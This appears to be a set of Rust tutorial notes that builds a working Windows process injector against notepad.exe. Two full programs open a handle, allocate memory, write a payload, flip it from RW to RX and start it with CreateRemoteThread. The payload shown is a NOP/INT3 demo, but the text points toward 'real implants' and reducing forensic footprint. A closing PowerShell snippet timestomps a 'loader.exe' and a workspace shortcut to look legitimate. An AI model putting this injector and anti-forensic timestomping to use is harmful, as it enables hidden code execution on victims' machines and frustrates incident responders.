payload.len(), ← size: number of bytes to copy
Some(&mut bytes_written), ← optional: fill in how many bytes written
)
payload.as_ptr() → gives *const u8 (pointer to first byte of Vec)
as *const _ → cast to *const c_void (Windows wants void*)
The _ means "figure out the type" — compiler infers c_void here
CLEANUP — why it matters
VirtualFreeEx(handle, remote_addr, 0, MEM_RELEASE)
│
└─► Releases the allocation inside the target process
In a REAL injector you skip this — shellcode needs to stay alive
We free it here because 0x90/0xCC is just a demo
CloseHandle(handle)
│
└─► Returns the handle ticket
Leaked handles = detectable + bad practice
Real tools always clean up — reduces forensic footprint
WHAT'S NEXT — Lesson:
CreateRemoteThread()
│
└─► Tell the target process to start executing from remote_addr
This turns your bytes from "data sitting in memory"
into "code the CPU is running"
That is the last step. After Lesson 7 you have a
working process injector in Rust.
use std::ffi::c_void; // FIX 1: import c_void
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32First, Process32Next,
PROCESSENTRY32, TH32CS_SNAPPROCESS,
};
use windows::Win32::System::Threading::{
OpenProcess, PROCESS_QUERY_LIMITED_INFORMATION,
PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE,
};
use windows::Win32::System::Memory::{
VirtualAllocEx, VirtualFreeEx,
MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_READWRITE,
};
use windows::Win32::System::Diagnostics::Debug::{
ReadProcessMemory, WriteProcessMemory,
};
fn find_pid(target_name: &str) -> Vec<u32> {
let mut pids = Vec::new();
unsafe {
let snapshot = match CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) {
Ok(h) => h,
Err(_) => return pids,
};
let mut entry = PROCESSENTRY32::default();
entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
if Process32First(snapshot, &mut entry).is_ok() {
loop {
let name: String = entry.szExeFile
.iter().take_while(|&&c| c != 0)
.map(|&c| c as u8 as char).collect();
if name.eq_ignore_ascii_case(target_name) {
pids.push(entry.th32ProcessID);
}
if Process32Next(snapshot, &mut entry).is_err() { break; }
}
let _ = CloseHandle(snapshot);
}
}
pids
}
fn write_into_process(pid: u32) {
let payload: Vec<u8> = vec![0x90u8; 1024];
unsafe {
// ── STEP 1: open handle ───────────────────────────────
let rights = PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ
| PROCESS_QUERY_LIMITED_INFORMATION;
let handle = match OpenProcess(rights, false, pid) {
Ok(h) => h,
Err(e) => {
println!("[-] OpenProcess failed: {:?}", e);
println!(" Run as Administrator.");
return;
}
};
println!("[+] Opened handle to PID: {}", pid);
// ── STEP 2: allocate inside target ───────────────────
// FIX 3: VirtualAllocEx returns Result<*mut c_void>, use match let remote_addr = VirtualAllocEx(
handle, None, payload.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE,
);
if remote_addr.is_null() {
println!("[-] VirtualAllocEx returned null");
let _ = CloseHandle(handle);
return;
}
println!("[+] Allocated {} bytes at {:?} inside PID {}", payload.len(), remote_addr, pid);
// ── STEP 3: write payload ─────────────────────────────
let mut bytes_written: usize = 0;
match WriteProcessMemory(
handle, remote_addr,
payload.as_ptr() as *const _,
payload.len(), Some(&mut bytes_written),
) {
Ok(_) => {
println!("[+] Wrote {} bytes into PID {}", bytes_written, pid);
println!(" Payload @ {:?}", remote_addr);
}
Err(e) => {
println!("[-] WriteProcessMemory failed: {:?}", e);
}
}
// ── STEP 4: read back and verify ─────────────────────
let mut buff = [0u8; 1024];
let mut bytes_read: usize = 0;
// FIX 2: variable was named 'read_payload' but checked as 'success'
// now we match it directly — same clean pattern everywhere match ReadProcessMemory(
handle, remote_addr,
buff.as_mut_ptr() as *mut c_void,
buff.len(), Some(&mut bytes_read),
) {
Ok(_) => {
println!("[+] Read back {} bytes from PID {}", bytes_read, pid);
// verify: every byte should be 0x90
let all_match = buff[..bytes_read].iter().all(|&b| b == 0x90);
println!(" All bytes 0x90? {}", if all_match { "YES ✓" } else { "NO ✗" });
}
Err(e) => {
println!("[-] ReadProcessMemory failed: {:?}", e);
}
}
// ── CLEANUP ───────────────────────────────────────────
let _ = VirtualFreeEx(handle, remote_addr, 0, MEM_RELEASE);
println!("[+] Freed remote allocation at {:?}", remote_addr);
let _ = CloseHandle(handle);
println!("[+] Handle closed");
}
}
fn main() {
let target = std::env::args().nth(1)
.unwrap_or_else(|| "notepad.exe".to_string());
println!("[*] Target: {}", target);
let pids = find_pid(&target);
if pids.is_empty() {
println!("[-] Process not found. Is it running?");
return;
}
let pid = pids[0];
println!("[*] Found PID: {}", pid);
write_into_process(pid);
}
PROCESS vs THREAD — the relationship
Process (the container)
├── Virtual address space (memory map)
├── Handle table (open files, handles)
├── PEB (process identity)
└── Threads (the actual workers)
├── Thread 1 ← main() runs here
├── Thread 2 ← maybe a background task
└── Thread 3 ← YOU CREATE THIS ONE
starts executing at remote_addr
(your shellcode address)
THE MOMENT IT ALL CONNECTS:
Your process notepad.exe
───────────────── ────────────────────────────────
find_pid() → PID
OpenProcess() → handle
VirtualAllocEx() → remote_addr (empty space in notepad)
WriteProcessMemory → [90 90 90 ... CC CC CC] written there
↑
CreateRemoteThread ──────────────► new thread starts HERE
(last step) CPU executes your bytes
slides through NOPs
hits INT3 → crash/pause
CreateRemoteThread(
handle, // the target process — same handle you used to write
None, // security attributes — None = default, fine for us
0, // stack size — 0 = use Windows default (~1MB)
Some(start), // START ADDRESS — where the thread begins executing
// ↑ this is your remote_addr cast to a function pointer
None, // parameter to pass to the thread function — None for now
0, // creation flags — 0 = start immediately (don't pause)
None, // thread ID output — None = we don't need it
)
→ Ok(thread_handle) : thread is running
→ Err(e) : failed (access denied, invalid address, etc.)
use windows::Win32::System::Threading::LPTHREAD_START_ROUTINE;
// remote_addr is *mut c_void (what VirtualAllocEx returned)
// We need: LPTHREAD_START_ROUTINE (an Option<unsafe extern fn(...)>)
// The cast:
let start: LPTHREAD_START_ROUTINE = unsafe {
std::mem::transmute(remote_addr)
};
// std::mem::transmute = "reinterpret these bytes as a different type"
// It's the nuclear option of casting — valid here because we know
// remote_addr points to executable code (after VirtualProtectEx)
AFTER CreateRemoteThread — what happens inside notepad.exe
notepad.exe CPU timeline:
Thread 1 (main UI): ────────────────────────────────► still running
Thread 3 (yours): ┌── created here
▼
[remote_addr]
90 90 90 90 ← NOP NOP NOP NOP
90 90 90 90 ← NOP NOP NOP NOP
...
CC CC CC CC ← INT3 ← CPU STOPS HERE
↓
Windows raises EXCEPTION
notepad has no handler for it
notepad.exe crashes
That crash = proof of execution ✓
use std::ffi::c_void;
use windows::Win32::Foundation::{CloseHandle, INFINITE};
use windows::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32First, Process32Next,
PROCESSENTRY32, TH32CS_SNAPPROCESS,
};
use windows::Win32::System::Threading::{
CreateRemoteThread, OpenProcess, WaitForSingleObject,
LPTHREAD_START_ROUTINE,
PROCESS_CREATE_THREAD, PROCESS_QUERY_LIMITED_INFORMATION,
PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE,
};
use windows::Win32::System::Memory::{
VirtualAllocEx, VirtualFreeEx,
MEM_COMMIT, MEM_RELEASE, MEM_RESERVE,
PAGE_EXECUTE_READ, PAGE_READWRITE, // need both now
};
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
use windows::Win32::System::Memory::VirtualProtectEx; // new
// ── find_pid: unchanged from lesson 6 ────────────────────────
fn find_pid(target_name: &str) -> Vec<u32> {
let mut pids = Vec::new();
unsafe {
let snapshot = match CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) {
Ok(h) => h,
Err(_) => return pids,
};
let mut entry = PROCESSENTRY32::default();
entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
if Process32First(snapshot, &mut entry).is_ok() {
loop {
let name: String = entry.szExeFile
.iter().take_while(|&&c| c != 0)
.map(|&c| c as u8 as char).collect();
if name.eq_ignore_ascii_case(target_name) {
pids.push(entry.th32ProcessID);
}
if Process32Next(snapshot, &mut entry).is_err() { break; }
}
let _ = CloseHandle(snapshot);
}
}
pids
}
fn inject(pid: u32) {
// NOP sled + INT3 payload — safe proof-of-execution
// When the thread runs: slides through NOPs, hits INT3, notepad crashes
let payload: Vec<u8> = vec![
0x90, 0x90, 0x90, 0x90, // NOP sled
0x90, 0x90, 0x90, 0x90,
0xCC, 0xCC, 0xCC, 0xCC, // INT3 x4 — breakpoint trap
];
unsafe {
// ── 1. open handle — now includes PROCESS_CREATE_THREAD ──
let rights = PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ
| PROCESS_CREATE_THREAD // NEW: needed for CreateRemoteThread
| PROCESS_QUERY_LIMITED_INFORMATION;
let handle = match OpenProcess(rights, false, pid) {
Ok(h) => h,
Err(e) => {
println!("[-] OpenProcess failed: {:?}", e);
println!(" Run as Administrator.");
return;
}
};
println!("[+] Opened handle to PID {}", pid);
// ── 2. allocate RW memory in target ──────────────────────
let remote_addr = match VirtualAllocEx(
handle, None, payload.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE, // RW first (write phase)
) {
Ok(addr) => addr,
Err(e) => {
println!("[-] VirtualAllocEx failed: {:?}", e);
let _ = CloseHandle(handle);
return;
}
};
println!("[+] Allocated {} bytes at {:?}", payload.len(), remote_addr);
// ── 3. write payload ──────────────────────────────────────
let mut bytes_written: usize = 0;
match WriteProcessMemory(
handle, remote_addr,
payload.as_ptr() as *const _,
payload.len(), Some(&mut bytes_written),
) {
Ok(_) => println!("[+] Wrote {} bytes → {:?}", bytes_written, remote_addr),
Err(e) => {
println!("[-] WriteProcessMemory failed: {:?}", e);
let _ = VirtualFreeEx(handle, remote_addr, 0, MEM_RELEASE);
let _ = CloseHandle(handle);
return;
}
}
// ── 4. flip RW → RX (write done, now make it executable) ─
// This is the RW→RX technique: split write and execute in time
let mut old_protect = PAGE_READWRITE;
match VirtualProtectEx(
handle, remote_addr, payload.len(),
PAGE_EXECUTE_READ, // RX: executable, not writable
&mut old_protect,
) {
Ok(_) => println!("[+] Flipped permissions RW → RX"),
Err(e) => {
println!("[-] VirtualProtectEx failed: {:?}", e);
let _ = VirtualFreeEx(handle, remote_addr, 0, MEM_RELEASE);
let _ = CloseHandle(handle);
return;
}
}
// ── 5. create remote thread at our payload address ────────
// Cast remote_addr (*mut c_void) → LPTHREAD_START_ROUTINE
// transmute = "treat these bytes as this type" — valid here
let start: LPTHREAD_START_ROUTINE = std::mem::transmute(remote_addr);
let thread_handle = match CreateRemoteThread(
handle, // target process
None, // default security
0, // default stack size
start, // START HERE ← your payload address
None, // no parameter
0, // start immediately
None, // don't need thread ID
) {
Ok(t) => {
println!("[+] Remote thread created!");
println!(" Thread will execute payload @ {:?}", remote_addr);
t
}
Err(e) => {
println!("[-] CreateRemoteThread failed: {:?}", e);
let _ = VirtualFreeEx(handle, remote_addr, 0, MEM_RELEASE);
let _ = CloseHandle(handle);
return;
}
};
// ── 6. wait for thread to finish ──────────────────────────
// INFINITE = wait as long as it takes
// With INT3 payload: notepad will crash before returning here
// That's expected — the crash IS the proof
println!("[*] Waiting for thread... (notepad will crash — that's correct)");
WaitForSingleObject(thread_handle, INFINITE);
// ── cleanup ───────────────────────────────────────────────
let _ = CloseHandle(thread_handle);
// Note: we don't VirtualFreeEx here — the process is already dead
// In a real implant with working shellcode you would free after thread exits
let _ = CloseHandle(handle);
println!("[+] Done. If notepad crashed = payload executed. ✓");
}
}
fn main() {
let target = std::env::args().nth(1)
.unwrap_or_else(|| "notepad.exe".to_string());
println!("[*] Target: {}", target);
println!("[*] THIS WILL CRASH THE TARGET PROCESS — that is expected");
let pids = find_pid(&target);
if pids.is_empty() {
println!("[-] Process not found. Is it running?");
return;
}
let pid = pids[0];
println!("[*] Found PID: {}", pid);
inject(pid);
}
# Get the timestamps from a "legit" file
$targetDate = (Get-Item "D:\src\README.md").LastWriteTime
# Apply those dates to your loader and shortcut
$filesToStomp = @("D:\.deps\loader.exe", "D:\Initialize_Workspace.lnk")
foreach ($file in $filesToStomp) {
(Get-Item $file).CreationTime = $targetDate
(Get-Item $file).LastWriteTime = $targetDate
(Get-Item $file).LastAccessTime = $targetDate
}